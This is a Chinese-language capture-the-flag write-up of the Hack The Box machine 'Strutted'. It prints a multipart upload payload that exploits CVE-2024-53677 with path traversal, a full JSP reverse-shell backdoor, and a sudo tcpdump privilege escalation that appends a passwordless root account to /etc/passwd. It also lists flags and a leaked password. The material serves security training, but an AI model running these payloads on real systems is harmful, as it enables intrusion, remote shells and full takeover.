Strutted
Linux · Medium
Target IP Address: 10.10.11.59
Task 1
How many open TCP ports are listening on Strutted?
Strutted 上有多少个开放的 TCP 端口正在侦听?
nmap扫描
nmap -A 10.10.11.59
发现tcp开放22、80两个端口
Task 2
Clicking Download triggers a zip file download containing the Docker environment for the application, what is the name of the application server running on the target?
单击 Download 将触发包含应用程序的 Docker 环境的 zip 文件下载,目标上运行的应用程序服务器的名称是什么?
修改hosts
10.10.11.59 strutted.htb
Download下载源码,发现dockerfile
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine
RUN apk add --no-cache maven
COPY strutted /tmp/strutted
WORKDIR /tmp/strutted
RUN mvn clean package
FROM tomcat:9.0
RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
EXPOSE 8080
CMD ["catalina.sh", "run"]
应用程序服务器为tomcat
Task 3
In a Java project, what is the name of this file that contains the dependencies for the application?
在 Java 项目中,包含应用程序依赖项的此文件的名称是什么?
pom.xml
是 Maven 项目的核心配置文件,用于定义项目的结构、依赖、构建配置等信息.
Task 4
What is the name of the MVC framework used by the application?
应用程序使用的 MVC 框架的名称是什么?
Apache Struts
Task 5
What version of the framework does the application use?
应用程序使用什么版本的框架?
6.3.0.1
Task 6
What is the 2024 CVE ID assigned to a vulnerability in the file upload logic vulnerability in Apache Struts?
分配给 Apache Struts 中文件上传逻辑漏洞漏洞的 2024 CVE ID 是什么?
根据Struts6.3.0.1
检索可以发现CVE-2024-53677
Task 7
What system user is the web application running as on Strutted?
在 Strutted 上运行的 Web 应用程序以什么系统用户身份运行?
Upload.java源码,发现对后缀、ContentType和文件头都有检测,并且大小需要大于八字节
package org.strutted.htb;
import com.opensymphony.xwork2.ActionSupport;
import java.io.File;
import java.text.SimpleDateFormat;
import java.io.InputStream;
import java.io.FileInputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.UUID;
import org.apache.commons.io.FileUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.struts2.ServletActionContext;
import org.strutted.htb.URLUtil;
import org.strutted.htb.URLMapping;
public class Upload extends ActionSupport {
private File upload;
private String uploadFileName;
private String uploadContentType;
private String imagePath;
public String shortenedUrl;
private String fullUrl;
private String relativeImagePath;
private URLMapping urlMapping = new URLMapping();
@Override
public String execute() throws Exception {
String method = ServletActionContext.getRequest().getMethod();
boolean noFileSelected = (upload == null || StringUtils.isBlank(uploadFileName));
if (noFileSelected) {
if ("POST".equalsIgnoreCase(method)) {
addActionError("Please select a file to upload.");
}
return INPUT;
}
String extension = "";
int dotIndex = uploadFileName.lastIndexOf('.');
if (dotIndex != -1 && dotIndex < uploadFileName.length() - 1) {
extension = uploadFileName.substring(dotIndex).toLowerCase();
}
if (!isAllowedContentType(uploadContentType)) {
addActionError("Only image files can be uploaded!");
return INPUT;
}
if (!isImageByMagicBytes(upload)) {
addActionError("The file does not appear to be a valid image.");
return INPUT;
}
String baseUploadDirectory = System.getProperty("user.dir") + "/webapps/ROOT/uploads/";
File baseDir = new File(baseUploadDirectory);
if (!baseDir.exists() && !baseDir.mkdirs()) {
addActionError("Server error: could not create base upload directory.");
return INPUT;
}
String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
File timeDir = new File(baseDir, timeStamp);
if (!timeDir.exists() && !timeDir.mkdirs()) {
addActionError("Server error: could not create timestamped upload directory.");
return INPUT;
}
String relativeImagePath = "uploads/" + timeStamp + "/" + uploadFileName;
this.imagePath = relativeImagePath;
String fullUrl = constructFullUrl(relativeImagePath);
try {
File destFile = new File(timeDir, uploadFileName);
FileUtils.copyFile(upload, destFile);
String shortId = generateShortId();
boolean saved = urlMapping.saveMapping(shortId, fullUrl);
if (!saved) {
addActionError("Server error: could not save URL mapping.");
return INPUT;
}
this.shortenedUrl = ServletActionContext.getRequest().getRequestURL()
.toString()
.replace(ServletActionContext.getRequest().getRequestURI(), "") + "/s/" + shortId;
addActionMessage("File uploaded successfully <a href=\"" + shortenedUrl + "\" target=\"_blank\">View your file</a>");
return SUCCESS;
} catch (Exception e) {
addActionError("Error uploading file: " + e.getMessage());
e.printStackTrace();
return INPUT;
}
}
private boolean isAllowedContentType(String contentType) {
String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
for (String allowedType : allowedTypes) {
if (allowedType.equalsIgnoreCase(contentType)) {
return true;
}
}
return false;
}
private boolean isImageByMagicBytes(File file) {
byte[] header = new byte[8];
try (InputStream in = new FileInputStream(file)) {
int bytesRead = in.read(header, 0, 8);
if (bytesRead < 8) {
return false;
}
// JPEG
if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
return true;
}
// PNG
if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
return true;
}
// GIF (GIF87a or GIF89a)
if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
private String generateShortId() {
return UUID.randomUUID().toString().substring(0, 8);
}
private String constructFullUrl(String relativePath) {
String scheme = ServletActionContext.getRequest().getScheme();
String serverName = ServletActionContext.getRequest().getServerName();
int serverPort = ServletActionContext.getRequest().getServerPort();
String contextPath = ServletActionContext.getRequest().getContextPath();
StringBuilder url = new StringBuilder();
url.append(scheme).append("://").append(serverName);
if ((scheme.equals("http") && serverPort != 80) ||
(scheme.equals("https") && serverPort != 443)) {
url.append(":").append(serverPort);
}
url.append(contextPath).append("/").append(relativePath);
return url.toString();
}
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getShortenedUrl() {
return shortenedUrl;
}
public void setShortenedUrl(String shortenedUrl) {
this.shortenedUrl = shortenedUrl;
}
public String getImagePath() {
return imagePath;
}
public void setImagePath(String imagePath) {
this.imagePath = imagePath;
}
}
在web.xml中限制/uploads/*
为静态目录,因此传到uploads的jsp都不会杯解析
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="struts_blank" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Strutted</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
</filter-class>
</filter>
<servlet>
<servlet-name>staticServlet</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>staticServlet</servlet-name>
<url-pattern>/uploads/*</url-pattern>
</servlet-mapping>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
根据Apache Struts2 文件上传逻辑绕过(CVE-2024-53677)(S2-067)加上简单绕过各种限制可以实现jsp解析
添加
\x89PNG
文件头
../../shell.jsp
实现目录穿越,逃逸uploads静态目录
------WebKitFormBoundaryzpuwk9xfCzlEuoB7
Content-Disposition: form-data; name="Upload"; filename="n0o0b.png"
Content-Type: image/png
{{unquote("\x89PNGfdsfsfsdf")}}// backdoor.jsp
------WebKitFormBoundaryzpuwk9xfCzlEuoB7
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
------WebKitFormBoundaryzpuwk9xfCzlEuoB7--
传个webshell
// backdoor.jsp
// http://www.security.org.sg/code/jspreverse.html
<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
%>
<%!
static class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector(InputStream is, OutputStream os)
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader isr = null;
BufferedWriter osw = null;
try
{
isr = new BufferedReader(new InputStreamReader(is));
osw = new BufferedWriter(new OutputStreamWriter(os));
char buffer[] = new char[8192];
int lenRead;
while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
{
osw.write(buffer, 0, lenRead);
osw.flush();
}
}
catch (Exception ioe) {}
try
{
if(isr != null) isr.close();
if(osw != null) osw.close();
}
catch (Exception ioe) {}
}
}
%>
<h1>JSP Backdoor Reverse Shell</h1>
<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>
<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
Socket sock = null;
try
{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cmd.exe");
StreamConnector outputConnector =
new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector =
new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e) {}
}
%>
<!-- http://michaeldaw.org 2006 -->
访问`/shell.jsp进行弹shell
web用户为tomcat
Task 8
What is the james user’s password on Strutted?
詹姆斯用户在 Strutted 上的密码是什么?
先提升交互性
python3 -c 'import pty;pty.spawn("/bin/bash")'
[CTRL+Z]
stty raw -echo
fg
目前只拿到web权限,查看用户
cat /etc/passwd
发现有个叫james的
查看是否有密码泄露
grep password -r ./*
发现在tomcat-users.xml中有一个密码IT14d6SSP81k
,跟之前下载的源码里的不一样
ssh尝试登录
ssh james@10.10.11.59
登陆成功
IT14d6SSP81k
User flag
06abcec91e6a9ee88152d9ed1b7a3b10
Task 10
What commands can the james user run with elevated privileges using sudo?
james 用户可以使用 sudo 以提升的权限运行哪些命令?
tcpdump
Root flag
把拥有root权限的无密码n0o0b用户写入passwd进行提权
COMMAND='echo "n0o0b::0:0::/root:/bin/bash" >> /etc/passwd'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
0782b3e5e9c577ab804e8042754bd8cb